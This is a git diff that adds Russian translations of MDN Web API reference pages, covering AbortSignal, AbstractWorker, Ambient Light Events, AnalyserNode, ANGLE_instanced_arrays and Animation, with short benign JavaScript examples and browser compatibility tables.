В следующем фрагменте мы будем загружать видео используя Fetch API.

+ +

Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.

+ +

Когда fetch запрос инициируется, мы передаём AbortSignal в качестве опции внутрь объекта параметров запроса (см. {signal} ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.

+ +

 

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}
+ +
+

Примечание: Когда abort() вызывается, fetch() обещаение отклоняется с AbortError.

+
+ +

Вы можете найти полный рабочий пример на GitHub — см. abort-api (см. как он работает в живую).

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-abortcontroller-signal', 'signal')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.AbortController.signal")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abortsignal/abort_event/index.html b/files/ru/web/api/abortsignal/abort_event/index.html new file mode 100644 index 0000000000..15a89fd35e --- /dev/null +++ b/files/ru/web/api/abortsignal/abort_event/index.html @@ -0,0 +1,134 @@ +--- +title: abort +slug: Web/API/AbortSignal/abort_event +translation_of: Web/API/AbortSignal/abort_event +--- +
{{SeeCompatTable}}
+ +

Событие abort из Fetch API вызывается когда fetch запрос прерывается, т.е. с помощью {{domxref("AbortController.abort()")}}.

+ + + + + + + + + + + + + + + + + + + + +
BubblesНет
CancelableНет
Target objects{{domxref("AbortSignal")}}
Interface{{domxref("Event")}}
+ +

Примеры

+ +

 

+ +

В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве signal). Позже мы проверяем, был ли прерван сигнал, используя свойство aborted, и выводим соответствующее сообщение в консоль.

+ +

 

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+signal.onabort = function() {
+  console.log('Request aborted');
+};
+
+ +

Наследование

+ +

Событие abort реализует {{domxref("Event")}} интерфейс — он имеет свойства и методы, определённые в нём.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'abort')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatUnknown}}

+ 		{{CompatUnknown}}{{CompatGeckoDesktop(57)}}{{CompatNo}} +

{{CompatUnknown}}

+ 		{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(57)}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abortsignal/aborted/index.html b/files/ru/web/api/abortsignal/aborted/index.html new file mode 100644 index 0000000000..1841427cd2 --- /dev/null +++ b/files/ru/web/api/abortsignal/aborted/index.html @@ -0,0 +1,60 @@ +--- +title: AbortSignal.aborted +slug: Web/API/AbortSignal/aborted +tags: + - Свойство + - Экспериментально +translation_of: Web/API/AbortSignal/aborted +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

Свойство aborted только для чтения, оно возвращает {{domxref("Boolean")}}, который указывает прерван(true) DOM зыпрос(ы), с которым связан сигнал, или нет(false).

+ +

Синтаксис

+ +
var isAborted = abortSignal.aborted;
+ +

Значение

+ +

{{domxref("Boolean")}}

+ +

Примеры

+ +

В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве signal). Позже мы проверяем, был ли прерван сигнал, используя свойство aborted, и выводим соответствующее сообщение в консоль.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Запрос был отменён') : console.log('Запрос не отменён');
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.AbortSignal.aborted")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html new file mode 100644 index 0000000000..fb44706bc7 --- /dev/null +++ b/files/ru/web/api/abortsignal/index.html @@ -0,0 +1,98 @@ +--- +title: AbortSignal +slug: Web/API/AbortSignal +translation_of: Web/API/AbortSignal +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortSignal интерфейс представляет собой объект сигнала, который позволяет вам общаться с DOM запросом (например, Fetch) и прервать его при необходимости с помощью объекта {{domxref("AbortController")}}.

+ +

Свойства

+ +

AbortSignal также наследует свойства от своего родительского интерфейса, {{domxref("EventTarget")}}.

+ +
+
{{domxref("AbortSignal.aborted")}} {{readonlyInline}}
+
Это {{domxref("Boolean")}}, который указывает, отменен ли запрос(ы), с которым связывался сигнал, отменён (true) или нет (false).
+
+ +

Обработчики событий

+ +
+
{{domxref("AbortSignal.onabort")}}
+
Вызывается когда происходит событие {{event("abort_(dom_abort_api)", "abort")}}, т.е. когда DOM запрос(ы), с которым связывался сигнал, отменён.
+
+ +

Методы

+ +

AbortSignal наследует методы от родительского интерфейса, {{domxref("EventTarget")}}.

+ +

Примеры

+ +

В следующем фрагменте мы будем загружать видео используя Fetch API.

+ +

Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.

+ +

Когда fetch запрос инициируется, мы передаём AbortSignal в качестве опции внутрь объекта параметров запроса (см. {signal} ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}
+ +
+

Примечание: Когда abort() вызывается, fetch() обещаение отклоняется с AbortError.

+
+ +
+

Текущая версия Firefox отклоняет обещание с DOMException

+
+ +

Вы можете найти полный рабочий пример на GitHub — см. abort-api (см. как он работает в живую).

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.AbortSignal")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abortsignal/onabort/index.html b/files/ru/web/api/abortsignal/onabort/index.html new file mode 100644 index 0000000000..068d91813d --- /dev/null +++ b/files/ru/web/api/abortsignal/onabort/index.html @@ -0,0 +1,53 @@ +--- +title: AbortSignal.onabort +slug: Web/API/AbortSignal/onabort +translation_of: Web/API/AbortSignal/onabort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

Cвойство onabort интерфейса {{domxref("AbortSignal")}} является обработчиком события {{event("abort_(cancellable_fetch)", "abort")}} и вызывается при его срабатывании, т.е. когда fetch запрос(ы), с которым связан сигнал, был отменён.

+ +

Синтаксис

+ +
abortSignal.onabort = function() { ... };
+ +

Примеры

+ +

В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве signal). Позже с помощью свойства onabort мы проверяем, был ли прерван сигнал, и выводим соответствующее сообщение в консоль.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+signal.onabort = function() {
+  console.log('Запрос прерван');
+};
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-abortsignal-aborted', 'onabort')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Совместимость с брузерами

+ + + +

{{Compat("api.AbortSignal.onabort")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html new file mode 100644 index 0000000000..cca9299e6e --- /dev/null +++ b/files/ru/web/api/abstractworker/index.html @@ -0,0 +1,95 @@ +--- +title: AbstractWorker +slug: Web/API/AbstractWorker +tags: + - API + - AbstractWorker + - Interface + - SharedWorker + - Web Workers + - Web Workers API + - Worker + - Абстрактный + - Интерфейс +translation_of: Web/API/AbstractWorker +--- +
{{ APIRef("Web Workers API") }}
+ +
Интерфейс AbstractWorker (абстрактный воркер) , как часть Web Workers API - это абстрактный интерфейс, который определяет общие свойства и методы для всех типов воркеров: для базового {{domxref("Worker")}} и также для {{domxref("ServiceWorker")}} и {{domxref("SharedWorker")}}. Вы напрямую не взаимодкйствуете с AbstractWorker, как и с абстрактным классом.
+ +

Свойства

+ +

Интерфейс AbstractWorker не наследует никаких свойств

+ +

Обработчики событий

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
{{ domxref("EventListener") }}, который вызывается каждый раз, когда {{domxref("ErrorEvent")}} с типом error всплывает через воркер.
+
+ +

Методы

+ +

Интерфейс AbstractWorker не наследует и не реализует никаких свойств

+ +

Пример

+ +

Прямого использования AbstractWorker не будет в коде, так как это абстрактный интерфейс. Вместо этого, взаимодействие будет происходить либо с {{domxref("Worker")}}, либо с {{domxref("SharedWorker")}}, оба из которых наследуют свойства от AbstractWorker.

+ +

Ниже фрагмент кода, который демонстрирует создание нового Worker с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}; ещё здесь показан способ как послать сообщению воркеру.

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value, second.value]);
+  console.log('Message posted to worker');
+}
+ +

Код воркера загружается из файла "worker.js". В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная first. Для события {{domxref("change")}} элемента создается обработчик, поэтому когда пользователь изменяет значение для first, отправляется сообщение в воркер для уведомления его об данных изменениях.

+ +

Вы можете найти больше примеров в репозитории MDN Web Docs на GitHub:

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}{{Spec2("HTML WHATWG")}}Без изменений {{SpecName("Web Workers")}}.
{{SpecName("Web Workers", "#the-abstractworker-abstract-interface", "AbstractWorker")}}{{Spec2("Web Workers")}}Начальное определение.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.AbstractWorker")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html new file mode 100644 index 0000000000..c6bd42b7d0 --- /dev/null +++ b/files/ru/web/api/ambient_light_events/index.html @@ -0,0 +1,112 @@ +--- +title: Ambient Light Events +slug: Web/API/Ambient_Light_Events +tags: + - Освещенность +translation_of: Web/API/Ambient_Light_Events +--- +
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
+ +

Cобытия "окружающего света" -  удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путем изменения цветового контраста пользовательского интерфейса (UI) или путем изменения экспозиции, необходимой для фотографирования.

+ +

Световые события

+ +

Когда датчик света устройства обнаруживает изменение уровня освещенности, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.

+ +

Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}}  (используя имя события {{event("devicelight")}} ) или путем присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.

+ +

После того, как захвачен объект события дает доступ к интенсивности света, выраженного в lux через свойство {{domxref("DeviceLightEvent.value")}}.

+ +

Пример

+ +
window.addEventListener('devicelight', function(event) {
+  var html = document.getElementsByTagName('html')[0];
+
+  if (event.value < 50) {
+    html.classList.add('darklight');
+    html.classList.remove('brightlight');
+  } else {
+    html.classList.add('brightlight');
+    html.classList.remove('darklight');
+  }
+});
+ +

Характеристики

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("AmbientLight", "", "Ambient Light Events")}}{{Spec2("AmbientLight")}}Initial definition
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
{{domxref("DeviceLightEvent")}}{{CompatNo}}{{CompatGeckoDesktop("22.0")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
{{domxref("DeviceLightEvent")}}{{CompatNo}}support{{CompatGeckoMobile("15.0")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Событие {{event("devicelight")}} реализуется и включено по умолчанию в Firefox Mobile для Android (15.0) и в Firefox OS (B2G). Начиная с Gecko 22.0{{geckoRelease("22.0")}} реализация рабочего стола для Mac OS X также доступна. Поддержка Windows 7 находится в стадии разработки (см. {{bug(754199)}}).

+ +

Смотри также

+ + diff --git a/files/ru/web/api/analysernode/index.html b/files/ru/web/api/analysernode/index.html new file mode 100644 index 0000000000..13032fbbf8 --- /dev/null +++ b/files/ru/web/api/analysernode/index.html @@ -0,0 +1,183 @@ +--- +title: AnalyserNode +slug: Web/API/AnalyserNode +translation_of: Web/API/AnalyserNode +--- +

{{APIRef("Web Audio API")}}

+ +

AnalyserNode интерфейс который предоставляет частоту (frequency) в реальном времени.  Элемент {{domxref("AudioNode")}} который пропускает аудиопоток неизменным от ввода (input) до вывода (output), но позволяет использовать генерируемые данные, обрабатывать или создавать аудиовизуализацию.

+ +

AnalyserNode имеет только один ввод и один вывод. Узел работает даже если вывод не подсоединен.

+ +

Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Количество входов1
Количество выводов1 (but may be left unconnected)
Channel count mode"explicit"
Количество каналов1
Channel interpretation"speakers"
+ +

Наследование

+ +

Интерфейс унаследован от  следующих родительских интерфейсов:

+ +

{{InheritanceDiagram}}

+ +

Constructor

+ +
+
{{domxref("AnalyserNode.AnalyserNode", "AnalyserNode()")}}
+
Creates a new instance of an AnalyserNode object.
+
+ +

Properties

+ +

Inherits properties from its parent, {{domxref("AudioNode")}}.

+ +
+
{{domxref("AnalyserNode.fftSize")}}
+
Is an unsigned long value representing the size of the FFT (Fast Fourier Transform) to be used to determine the frequency domain.
+
{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}
+
Is an unsigned long value half that of the FFT size. This generally equates to the number of data values you will have to play with for the visualization.
+
{{domxref("AnalyserNode.minDecibels")}}
+
Is a double value representing the minimum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using getByteFrequencyData().
+
{{domxref("AnalyserNode.maxDecibels")}}
+
Is a double value representing the maximum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the maximum value for the range of results when using getByteFrequencyData().
+
{{domxref("AnalyserNode.smoothingTimeConstant")}}
+
Is a double value representing the averaging constant with the last analysis frame — basically, it makes the transition between values over time smoother.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("AudioNode")}}.

+ +
+
{{domxref("AnalyserNode.getFloatFrequencyData()")}}
+
Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.
+
+ +
+
{{domxref("AnalyserNode.getByteFrequencyData()")}}
+
Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.
+
+ +
+
{{domxref("AnalyserNode.getFloatTimeDomainData()")}}
+
Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.
+
{{domxref("AnalyserNode.getByteTimeDomainData()")}}
+
Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.
+
+ +

Examples

+ +
+

Note: See the guide Visualizations with Web Audio API for more information on creating audio visualizations.

+
+ +

Basic usage

+ +

The following example shows basic usage of an {{domxref("AudioContext")}} to create an AnalyserNode, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128–205 for relevant code).

+ +
var audioCtx = new(window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+// ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// Get a canvas defined with ID "oscilloscope"
+var canvas = document.getElementById("oscilloscope");
+var canvasCtx = canvas.getContext("2d");
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+  requestAnimationFrame(draw);
+
+  analyser.getByteTimeDomainData(dataArray);
+
+  canvasCtx.fillStyle = "rgb(200, 200, 200)";
+  canvasCtx.fillRect(0, 0, canvas.width, canvas.height);
+
+  canvasCtx.lineWidth = 2;
+  canvasCtx.strokeStyle = "rgb(0, 0, 0)";
+
+  canvasCtx.beginPath();
+
+  var sliceWidth = canvas.width * 1.0 / bufferLength;
+  var x = 0;
+
+  for (var i = 0; i < bufferLength; i++) {
+
+    var v = dataArray[i] / 128.0;
+    var y = v * canvas.height / 2;
+
+    if (i === 0) {
+      canvasCtx.moveTo(x, y);
+    } else {
+      canvasCtx.lineTo(x, y);
+    }
+
+    x += sliceWidth;
+  }
+
+  canvasCtx.lineTo(canvas.width, canvas.height / 2);
+  canvasCtx.stroke();
+}
+
+draw();
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AnalyserNode")}}

+
+ +

See also

+ + diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html new file mode 100644 index 0000000000..558e053527 --- /dev/null +++ b/files/ru/web/api/angle_instanced_arrays/index.html @@ -0,0 +1,81 @@ +--- +title: ANGLE_instanced_arrays +slug: Web/API/ANGLE_instanced_arrays +translation_of: Web/API/ANGLE_instanced_arrays +--- +
{{APIRef("WebGL")}}
+ +

Расширение ANGLE_instanced_arrays является частью API WebGL и позволяет рисовать один и тот же объект или группы похожих объектов несколько раз, если они используют одни и те же данные вершин, количество примитивов и тип.

+ +

Доступ к WebGL расширениям можно получить с помощью метода {{domxref("WebGLRenderingContext.getExtension()")}}. Для получения дополнительной информации см. также в Использование расширений в  WebGL руководстве.

+ +
+

Доступность: Это расширение доступно только для {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} контекстов. В {{domxref ("WebGL2RenderingContext", "WebGL2", "", 1)}}, функциональность этого расширения доступна в контексте WebGL2 по умолчанию, а константы и методы доступны без суффикса " ANGLE ".

+ +

Несмотря на название " ANGLE ", это расширение работает на любом устройстве, если аппаратное обеспечение поддерживает его, а не только на Windows при использовании библиотеки ANGLE . " ANGLE " просто указывает, что это расширение было написано авторами библиотеки ANGLE.

+
+ +

Константы

+ +

Это расширение предоставляет одну новую константу, которую можно использовать в {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} методе:

+ +
+
ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE
+
Возвращает {{domxref("GLint")}} , описывающий частотный делитель, используемый для упомянутого перевода в {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} в качестве параметра pname.
+
+ +

Методы

+ +

Это расширение предоставляет три новых метода:

+ +
+
{{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}}
+
+

Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.

+
+
{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}
+
Ведет себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором
+
{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}
+
+

Изменяет скорость продвижения общих атрибутов вершин при визуализации нескольких экземпляров примитивов с помощью {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} и {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.

+
+
+ +

Примеры

+ +

Включение расширения:

+ +
var ext = gl.getExtension('ANGLE_instanced_arrays');
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}{{Spec2('ANGLE_instanced_arrays')}}Первоначальное определение.
+ +

Совместимость браузеров

+ + + +

{{Compat("api.ANGLE_instanced_arrays")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/animation/cancel/index.html b/files/ru/web/api/animation/cancel/index.html new file mode 100644 index 0000000000..b5b4d0cd4a --- /dev/null +++ b/files/ru/web/api/animation/cancel/index.html @@ -0,0 +1,110 @@ +--- +title: Animation.cancel() +slug: Web/API/Animation/cancel +translation_of: Web/API/Animation/cancel +--- +

{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}

+ +

Метод cancel() API Web Animation интерфейса {{domxref("Animation")}} очищает все {{domxref("KeyframeEffect")}} вызванной этой анимацией и прекращает его воспроизведение.

+ +
+

Когда анимация отменена, её {{domxref("Animation.startTime", "startTime")}} и {{domxref("Animation.currentTime", "currentTime")}} устанавливаются в null.

+
+ +

Syntax

+ +
Animation.cancel();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

None.

+ +

Exceptions

+ +

Этот метод не выбрасывает напрямую исключения; однако, если {{domxref("Animation.playState", "playState")}} анимации во время отмены ничего кроме "idle", {{domxref("Animation.finished", "current finished promise", "", 1)}} отклоняется с помощью {{domxref("DOMException")}} названным AbortError.

+ +
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animation-cancel', 'Animation.cancel()' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(39)}}{{CompatGeckoDesktop(48)}}{{CompatNo}}{{CompatOpera(26)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatChrome(39)}}{{CompatChrome(39)}}{{CompatGeckoMobile(48)}}{{CompatNo}}{{CompatOperaMobile(26)}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html new file mode 100644 index 0000000000..d1deb15f99 --- /dev/null +++ b/files/ru/web/api/animation/index.html @@ -0,0 +1,190 @@ +--- +title: Animation +slug: Web/API/Animation +translation_of: Web/API/Animation +--- +
{{ APIRef("Web Animations") }}{{SeeCompatTable}}
+ +

Animation это интерфейс Web Animations API, представляет из себя одиночный проигрыватель анимации и обеспечивает управление воспроизведением и временную шкалу для узла анимации или источника.

+ +

Конструктор

+ +
+
{{domxref("Animation.Animation()", "Animation()")}}
+
Создает новый экземпляр объекта Animation.
+
+ +

Свойства

+ +
+
{{domxref("Animation.currentTime")}}
+
Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или еще не воспроизведена, то это значение равно нулю.
+
+ +
+
{{domxref("Animation.effect")}}
+
Возвращает и задает {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.
+
{{domxref("Animation.finished")}} {{readOnlyInline}}
+
Возвращает текущее завершенное Promise(обещание) для этой анимации.
+
+ +
+
{{domxref("Animation.id")}}
+
Возвращает и задает String(строку), используемую для идентификации анимации.
+
{{domxref("Animation.playState")}} {{readOnlyInline}}
+
Возвращает перечисляемое значение, описывающее состояние воспроизведения анимации.
+
+ +
+
{{domxref("Animation.playbackRate")}}
+
Возвращает или задает скорость воспроизведения анимации.
+
+ +
+
{{domxref("Animation.ready")}} {{readOnlyInline}}
+
Возвращает текущее готовое Promise(обещание) для этой анимации.
+
+ +
+
{{domxref("Animation.startTime")}}
+
Возвращает или задает начало выполнения анимации.
+
+ +
+
{{domxref("Animation.timeline")}}
+
Возвращает или задает {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.
+
+ +

Обработчики событий

+ +
+
{{domxref("Animation.oncancel")}}
+
Возвращает и задает обработчик событий для отмены события.
+
{{domxref("Animation.onfinish")}}
+
Возвращает и задает обработчик событий для завершения события.
+
+ +

Методы

+ +
+
{{domxref("Animation.cancel()")}}
+
Очищает все {{domxref("KeyframeEffect", "keyframeEffects")}} вызванные этой анимацией и прекращает его выполнение.
+
{{domxref("animation.commitStyles()")}}
+
Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведет к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.
+
+ +
+
{{domxref("Animation.finish()")}}
+
Ищет конец анимации, в зависимости от того, играет ли анимация или инвертирует.
+
+ +
+
{{domxref("Animation.pause()")}}
+
Приостанавливает запущенную анимацию.
+
{{domxref("animation.persist()")}}
+
Анимация сохраняется в явном виде, когда в противном случае она была бы удалена из-за поведения браузера, которое предполагает автоматическое удаление анимаций заполнения.
+
+ +
+
{{domxref("Animation.play()")}}
+
Запускает или продолжает выполнение анимации или начинает анимацию снова, если она ранее завершилась.
+
+ +
+
{{domxref("Animation.reverse()")}}
+
Меняет направление воспроизведения, останавливаясь в начале анимации. Если анимация закончена или не запущена, то будет проигрываться с конца к началу.
+
{{domxref("Animation.updatePlaybackRate()")}}
+
Задает скорость анимации после синхронизации ее положения воспроизведения.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}{{Spec2("Web Animations")}}Initial definition
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(39.0)}} [1]{{CompatGeckoDesktop(48)}}[2][3]{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Конструктор{{CompatNo}}{{CompatGeckoDesktop(48)}}[2][3]{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}} [1]{{CompatGeckoMobile(48)}}[2][3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
Конструктор{{CompatNo}}{{CompatGeckoMobile(48)}}[2][3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] До Chrome 44, реализован как AnimationPlayer (название интерфейса в ранней версии спецификации).

+ +

[2] API Веб Анимации включён по умолчанию только в Firefox Developer Edition и в Nightly builds. Вы можете включить его в сборках beta и release переключив свойство dom.animations-api.core.enabled на true, и можете выключить его в любой версии Firefox переключив его на false.

+ +

[3] До Firefox 51, свойство {{domxref("Animation.effect")}} было только для чтения.

diff --git a/files/ru/web/api/animationevent/animationevent/index.html b/files/ru/web/api/animationevent/animationevent/index.html new file mode 100644 index 0000000000..11d4a5cc71 --- /dev/null +++ b/files/ru/web/api/animationevent/animationevent/index.html @@ -0,0 +1,67 @@ +--- +title: AnimationEvent() +slug: Web/API/AnimationEvent/AnimationEvent +translation_of: Web/API/AnimationEvent/AnimationEvent +--- +

{{APIRef("Web Animations")}}{{SeeCompatTable}}

+ +

